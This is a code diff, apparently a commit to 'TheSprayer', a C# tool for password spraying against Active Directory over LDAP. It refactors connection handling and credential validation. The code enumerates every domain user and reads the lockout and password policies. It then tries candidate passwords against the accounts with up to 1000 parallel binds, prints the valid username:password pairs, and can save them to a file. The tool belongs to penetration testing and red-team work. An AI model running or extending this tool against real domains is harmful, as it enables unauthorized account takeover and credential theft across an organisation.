77using System . Linq ;
88using TheSprayer . Helpers ;
99using System . Threading . Tasks ;
10- using System . Diagnostics ;
1110
1211namespace TheSprayer
1312{
@@ -26,7 +25,6 @@ public ActiveDirectoryService(string domain, string domainUser, string domainUse
2625 _domainUserPass = domainUserPass ;
2726 _domainController = domainController ;
2827
29- //TODO: Get the DN properly instead of yolo'ing like this
3028 var splitDomain = _domain . Split ( '.' ) ;
3129 _distinguishedName = "" ;
3230 foreach ( var split in splitDomain )
@@ -48,13 +46,12 @@ public List<PasswordPolicy> GetFineGrainedPasswordPolicy()
4846 var policies = new List < PasswordPolicy > ( ) ;
4947 string filter = "(objectClass=msDS-PasswordSettings)" ;
5048
51- LdapConnection connection = new ( new LdapDirectoryIdentifier ( _domainController , 389 , false , false ) ) ;
52- connection . Credential = new NetworkCredential ( _domainUser , _domainUserPass , _domain ) ;
53- SearchRequest searchRequest = new ( _distinguishedName , filter , SearchScope . Subtree ) ;
49+ var connection = CreateLdapConnection ( ) ;
50+ var searchRequest = new SearchRequest ( _distinguishedName , filter , SearchScope . Subtree ) ;
5451
5552 try
5653 {
57- SearchResponse searchResponse = ( SearchResponse ) connection . SendRequest ( searchRequest ) ;
54+ var searchResponse = ( SearchResponse ) connection . SendRequest ( searchRequest ) ;
5855
5956 foreach ( SearchResultEntry entry in searchResponse . Entries )
6057 {
@@ -97,13 +94,12 @@ public PasswordPolicy GetPasswordPolicy()
9794 {
9895 string filter = "(&(objectClass=domainDNS))" ;
9996
100- LdapConnection connection = new ( new LdapDirectoryIdentifier ( _domainController , 389 , false , false ) ) ;
101- connection . Credential = new NetworkCredential ( _domainUser , _domainUserPass , _domain ) ;
102- SearchRequest searchRequest = new ( _distinguishedName , filter , SearchScope . Subtree ) ;
97+ var connection = CreateLdapConnection ( ) ;
98+ var searchRequest = new SearchRequest ( _distinguishedName , filter , SearchScope . Subtree ) ;
10399
104100 try
105101 {
106- SearchResponse searchResponse = ( SearchResponse ) connection . SendRequest ( searchRequest ) ;
102+ var searchResponse = ( SearchResponse ) connection . SendRequest ( searchRequest ) ;
107103
108104 var entry = searchResponse . Entries [ 0 ] ;
109105 var pwdMaxAge = Convert . ToInt64 ( entry . Attributes [ "MaxPwdAge" ] [ 0 ] ) / ( double ) - 864000000000 ;
@@ -150,13 +146,9 @@ public List<ActiveDirectoryUser> GetAllDomainUsers()
150146 // LDAP Filter to get all domain users. This needs to be modified but works for testing.
151147
152148 string filter = "(&(objectCategory=person)(objectClass=user))" ;
149+
153150 // Initiate a new LDAP connection.
154- // todo: initiate LDAPS connection if LDAP fails
155- LdapConnection connection = new ( new LdapDirectoryIdentifier ( _domainController , 389 , false , false ) ) ;
156- connection . Credential = new NetworkCredential ( _domainUser , _domainUserPass , _domain ) ;
157- // Numerous Authtypes are possible
158- // todo: have this selectable from the UI
159- //connection.AuthType = AuthType.Kerberos;
151+ var connection = CreateLdapConnection ( ) ;
160152 SearchRequest searchRequest = new ( _distinguishedName ,
161153 filter ,
162154 SearchScope . Subtree ,
@@ -279,7 +271,7 @@ public void SprayPasswords(IEnumerable<string> passwords, IEnumerable<string> us
279271 new ParallelOptions { MaxDegreeOfParallelism = 1000 } ,
280272 user =>
281273 {
282- if ( TryValidateCredentials ( user . SamAccountName , password , out var message ) )
274+ if ( TryValidateCredentials ( user . SamAccountName , password ) )
283275 {
284276 ColorConsole . WriteLine ( $ "{ user . SamAccountName } :{ password } ") ;
285277 if ( ! string . IsNullOrWhiteSpace ( outputFile ) )
@@ -355,26 +347,31 @@ public static bool ShouldSprayUser(ActiveDirectoryUser user, PasswordPolicy defa
355347 }
356348
357349 public bool TryValidateCredentials ( string username , string password )
358- {
359- return TryValidateCredentials ( username , password , out var _ ) ;
360- }
361-
362- public bool TryValidateCredentials ( string username , string password , out string message )
363350 {
364351 LdapConnection connection = new ( new LdapDirectoryIdentifier ( _domainController , 389 , false , false ) ) ;
365- connection . Credential = new NetworkCredential ( username , password , _domain ) ;
352+ connection . Credential = new NetworkCredential ( username , password ) ;
366353
367354 try
368355 {
369356 connection . Bind ( ) ;
370- message = "Success!" ;
371357 return true ;
372358 }
373- catch ( LdapException e )
359+ catch ( LdapException )
374360 {
375- message = e . Message ;
376361 return false ;
377362 }
363+
364+
365+ }
366+
367+ private LdapConnection CreateLdapConnection ( )
368+ {
369+ var connection = new LdapConnection ( new LdapDirectoryIdentifier ( _domainController , 389 , false , false ) ) ;
370+ if ( ! string . IsNullOrWhiteSpace ( _domainUser ) && ! string . IsNullOrWhiteSpace ( _domainUserPass ) )
371+ {
372+ connection . Credential = new NetworkCredential ( _domainUser , _domainUserPass ) ;
373+ }
374+ return connection ;
378375 }
379376 }
380377}
0 commit comments